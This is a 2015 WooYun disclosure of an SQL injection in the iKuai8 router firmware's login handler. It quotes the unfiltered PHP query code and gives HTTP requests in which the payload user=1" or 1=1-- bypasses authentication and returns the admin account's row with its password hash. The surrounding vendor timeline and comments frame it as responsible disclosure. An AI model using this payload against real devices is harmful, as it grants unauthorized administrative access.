当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122413

漏洞标题:爱快流控路由最新版(iKuai8_2.4.4_Build20150604-17_41)固件漏洞挖掘分析之一

相关厂商:爱快免费流控路由

漏洞作者: Bear baby

提交时间:2015-06-24 10:35

修复时间:2015-09-22 11:32

公开时间:2015-09-22 11:32

漏洞类型:非授权访问

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经确认,细节仅向厂商公开
2015-06-27: 细节向第三方安全合作伙伴开放
2015-08-18: 细节向核心白帽子及相关领域专家公开
2015-08-28: 细节向普通白帽子公开
2015-09-07: 细节向实习白帽子公开
2015-09-22: 细节向公众公开

简要描述:

固件版本:iKuai8_2.4.4_Build20150604-17_41
固件下载地址:http://patch.ikuai8.com/iso/iKuai8_2.4.4_Build20150604-17_41.iso
分析使用到的工具:EditPlus、DreamWeaver、Zend Studio、Ida Pro 6.1、BeyondCompare、Fiddler、中国菜刀、Kali、VisualStudio2010、vmware11等
注:本文基于逆向获取到的源文件进行分析。

详细说明:

0x01 注入漏洞
1、 绕过验证登陆后台
爱快流控路由使用的是CodeIgniter框架,版本1.0。数据库sqllite。
“CodeIgniter 是一个简单快速的PHP MVC框架。EllisLab 的工作人员发布了 CodeIgniter。许多企业尝试体验过所有 PHP MVC 框架之后,CodeIgniter 都成为赢家,主要是由于它为组织提供了足够的自由支持,允许开发人员更迅速地工作。”
登陆页面的功能代码在/application/controllers/login.php
登陆验证功能代码如下:

public function x()
{
$user = $_POST['user']; //注释:user直接用POST过来的参数
$pass = md5($user.md5($_POST['pass']));
$r = getAll($this->table,'username="'.$user.'" and passwd="'.$pass.'"'); //注释:sql语句拼接,user无任何过滤带入查询
$r_lock = getAll($this->table,'username="' . $user . '"');
isset($r_lock[0]) and $r_lock = $r_lock[0];
//首先判断是否已经被锁定
if (!empty($r_lock) && $r_lock['loginerror'] >= $this->login_error_time
&& ($r_lock['logintime'] + $this->lock_time) > time()) {
$data['recode'] = 2;
$data['error'] = '您的账户被禁止5分钟';
} else if (isset($r[0]['id'])){

//判断是否被禁用
if($r[0]['state']!='up'){
$data['recode'] = 2;
$data['error'] = '您的账户已经被禁止';
}else if($r[0]['authority'] == 'full' && $r[0]['id'] == 1){
$_SESSION['uid'] = $r[0]['id'];
$_SESSION['username'] = $user;
$_SESSION['authority']['checkfull'] = 1;
$data['recode'] = 0;
$data['error'] = '登录成功';
}else{
$_SESSION['uid'] = $r[0]['id'];
$_SESSION['username'] = $user;
//拼接权限
$auth = explode("|",$r[0]['authority']);
foreach ($auth as $k) {
$tmp = explode(":",$k);
$_SESSION['authority'][$tmp[0]] = $tmp[1];
}

$data['recode'] = 0;
$data['error'] = '登录成功';
}

if(!empty($r[0]['ip_addr']) && $this->iptolong($r[0]['ip_addr'])!='0'){//安全ip

$ip=$this->iptolong($_SERVER['REMOTE_ADDR']);
$ip_addr=explode('-',$r[0]['ip_addr']);

if(!isset($ip_addr[1])){
$ip_addr=$this->iptolong($ip_addr[0]);

if($ip!=$ip_addr){
$data['recode'] = 3;
$data['error'] = '您的IP不是安全IP';
}

}else{
$left=$this->iptolong($ip_addr[0]);
$right=$this->iptolong($ip_addr[1]);
if($ip<$left && $right>$ip){
$data['recode'] = 3;
$data['error'] = '您的IP不是安全IP';
}
}
}


} else {
if (!empty($r_lock)) {
//存在改用户名,密码错误,记录错误次数及登录时间
$update_data = array(
'loginerror' => empty($r_lock['loginerror']) ? 1 : ($r_lock['loginerror'] + 1),
'logintime' => time()
);

if (($r_lock['logintime'] + $this->lock_time) <= time()) {
//已经过了禁用期限,清除登录错误次数,当然本次登录错误要记录
$update_data['loginerror'] = 1;
}
autoExecute($this->table, $update_data, 'update', 'id=' . $r_lock['id']);
}
$data['recode'] = 1;
$data['error'] = '登录失败' . (isset($update_data) ? $update_data['loginerror'] . '次' : '');
}

if ($data['recode'] == 0) {
//登录成功,记录登录时间,清除登录失败次数
$update_data = array(
'loginerror' => 0,
'logintime' => time()
);
autoExecute($this->table, $update_data, 'update', 'id=' . $r_lock['id']);
}//$data['debug'] = var_export($r_lock, true) . var_export($update_data, true);
echo json_encode($data);

}
getAll函数在/application/helpers/db_helper.php里面
/******************************************
* 查询所有数据
* 参数 :$where 预留条件变量
* $option 指定查询字段
* return:array
*/
function getAll($table,$where='',$option=''){
return arrayToLevel(json_decode(ikGet($table,$where,'',$option),true));
}


最终是通过ikGet执行sql语句,ikGet是封装so文件里面,位置:usr\lib\php\libikphp.so

1.png


libikphp.so主要对数据库查询、调用命令等功能进行封装。
整个查询的SQL语句大概像下面的语句:

select * from webuser where username=’ $_POST['user']’ and passwd=’ d5($user.md5($_POST['pass']))’


没有过滤,很常见的的sql注入。
为了便于调试,在getAll 里面添加var_dump输出变量。

var_dump(arrayToLevel(json_decode(ikGet($table,$where,'',$option),true)));


接下来我们来简单的验证一下
先来个不存在用户
1)用户名:1 密码:1
Request

POST http://192.168.1.1/login/x HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/
Content-Length: 13
Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
user=1&pass=1
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.1
Content-Type: text/html;charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Date: Fri, 24 Apr 2015 06:28:39 GMT
Server: lighttpd/1.4.30
Content-Length: 73
array(0) {
}
array(0) {
}
{"recode":1,"error":"\u767b\u5f55\u5931\u8d25"}


再来个注入语句
2)用户名:1“ or 1=1—密码:1

Request
POST http://192.168.1.1/login/x HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.1/
Content-Length: 23
Cookie: PHPSESSID=e6b8bf28447de49246be1ee4b7876e49
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
user=1" or 1=1--&pass=1
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.1
Content-Type: text/html;charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Date: Fri, 24 Apr 2015 06:29:09 GMT
Server: lighttpd/1.4.30
Content-Length: 811
array(1) {
[0]=>
array(8) {
["id"]=>
string(1) "1"
["state"]=>
string(2) "up"
["username"]=>
string(5) "admin"
["passwd"]=>
string(32) "c0e024d9200b5705bc4804722636378a"
["ip_addr"]=>
string(7) "0.0.0.0"
["authority"]=>
string(4) "full"
["loginerror"]=>
string(1) "0"
["logintime"]=>
string(10) "1429847267"
}
}
array(1) {
[0]=>
array(8) {
["id"]=>
string(1) "1"
["state"]=>
string(2) "up"
["username"]=>
string(5) "admin"
["passwd"]=>
string(32) "c0e024d9200b5705bc4804722636378a"
["ip_addr"]=>
string(7) "0.0.0.0"
["authority"]=>
string(4) "full"
["loginerror"]=>
string(1) "0"
["logintime"]=>
string(10) "1429847267"
}
}
{"recode":0,"error":"\u767b\u5f55\u6210\u529f"} //登录成功


成功绕过验证进入后台

2.png


漏洞证明:

2.png

修复方案:

严格过滤。。。相信你们应该有经验了。
预知后事如何 请听下回分解

版权声明:转载请注明来源 Bear baby@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-24 11:30

厂商回复:

熊宝同志和疯狗老板都来关注,受宠若惊+web同事疯狂受虐中,正在修复中,非常感谢白帽子和乌云平台,熊宝联系方式来一个,小礼物快递送出,等我虐完web的同事马上给您快递

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-24 10:37 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    学习新姿势

  2. 2015-06-24 10:49 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    @爱快免费流控路由 老板快出来。。。求关注我。。

  3. 2015-06-24 10:52 | wy007 ( 实习白帽子 | Rank:95 漏洞数:10 | 其实我是一名卧底...)

    @疯狗 姿势不对,起来重睡..

  4. 2015-06-24 10:53 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    @疯狗 狗哥来捧场了。。。有点小激动。

  5. 2015-06-24 11:34 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    比起panabit都不敢来认领,爱快厚道多了

  6. 2015-06-24 11:35 | f4ck ( 实习白帽子 | Rank:42 漏洞数:7 | 有些人很牛B,一个漏洞能刷成N个。)

    @Bear baby 帮你通知了爱快的负责人,他们在处理中了

  7. 2015-06-24 11:36 | 爱快免费流控路由(乌云厂商)

    感谢@f4ck @bear baby @疯狗 非常感谢各位的帮助,手忙脚乱修复中。。。

  8. 2015-06-24 11:36 | 爱快免费流控路由(乌云厂商)

    @Bear baby 来个联系方式,给您寄送小礼品,非常感谢您

  9. 2015-06-24 11:36 | chock ( 实习白帽子 | Rank:58 漏洞数:15 | 今夜我们都是wooyun人,我们一定要收购长亭)

    是基于openwrt的吗?关注

  10. 2015-06-24 11:42 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    @爱快免费流控路由 嗯,谢谢老板。。给你了

  11. 2015-06-24 13:01 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    @f4ck 3Q

  12. 2015-06-24 13:02 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    我擦,你们手速好快.....

  13. 2015-06-24 13:03 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    @Bear%20baby你这个漏洞能干啥?

  14. 2015-06-24 13:10 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    @CplusHua 等公开你就知道了。。

  15. 2015-06-29 19:01 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @Bear baby 洞主咋分析的源码?

  16. 2015-06-29 21:30 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    @疯狗 额。。。要后面放出来吗?今天挂科了,太伤心了。

  17. 2015-06-29 22:24 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    去wiki

  18. 2015-06-29 23:12 | Bear baby ( 普通白帽子 | Rank:183 漏洞数:20 | 善攻者,不知其所守。善守者,不知其所攻。)

    @疯狗 发出来了。。